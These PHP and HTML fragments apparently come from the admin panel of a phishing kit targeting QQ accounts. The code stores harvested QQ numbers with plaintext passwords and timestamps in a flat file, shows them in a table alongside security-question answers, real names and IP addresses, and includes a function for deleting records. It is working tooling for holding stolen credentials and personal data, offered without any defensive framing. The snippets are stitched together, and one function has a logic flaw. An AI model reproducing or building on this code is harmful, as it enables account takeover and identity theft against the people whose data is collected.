function writeQQ($qq, $pw) { $origin = getAllQQ(); $origin = json_decode($origin, true); if ($origin == null) { $origin = array(); array_push($origin, array("qq" => $qq, "password" => $pw, "time" => date("Y-m-d H:i:s", time()))); } else { foreach ($origin as $key => $value) { $flag = 0; if ($value['qq'] == $qq) { $flag++; break; } } } if ($flag <= 0) { array_push($origin, array("qq" => $qq, "password" => $pw, "time" => date("Y-m-d H:i:s", time()))); } file_put_contents("qqdata.dbk", json_encode($origin)); }
<!-- <input type="button" value="删除全部" onclick=""> --> <!-- <input type="button" value="批量删除" onclick=""> --> </div> <table class="altrowstable" style="margin-top:10px;" id="alternatecolor"> <tr> <th>QQ</th> <th>密码</th> <th>时间</th> <th>密保</th> <th>资料</th> <th>IP</th> <th>操作</th> </tr> <?php $qqlist = getAllQQ(); $qqlist = json_decode($qqlist); $securityList = json_decode(getSecurity()); // $detailList=json_decode(getDetail()); $content = ''; $detailInfo = ''; function formatDetail($detail, $qq) { $detailList = $detail[0]['detail']; $html = "<table style=\"width:100%;\">"; foreach ($detailList as $key => $value) { if (is_array($value)) { foreach ($value as $key1 => $value1) { if ($key1 === '真实姓名') { $index = $key + 1; $html .= "<td ref=\"{$index}-{$qq}\" class=\"detail_list_title\" style=\"cursor:pointer\"><strong>历史记录{$index}</strong></td>";
function unlinkQQ($qq) { if (file_exists("detail/{$qq}.txt")) { unlink("detail/{$qq}.txt"); } else { // return false; } $qqList = json_decode(getAllQQ()); $securityList = json_decode(getSecurity()); $index = 0; $flag = false; if (is_array($qqList)) { foreach ($qqList as $key => $value) { if ($value->qq == $qq) { $index = $key; $flag = true; } } if ($flag) { array_splice($qqList, $index, 1); array_splice($securityList, $index, 1); return file_put_contents("security.dbk", json_encode($securityList)) && file_put_contents("qqdata.dbk", json_encode($qqList)); } } else { return false; } }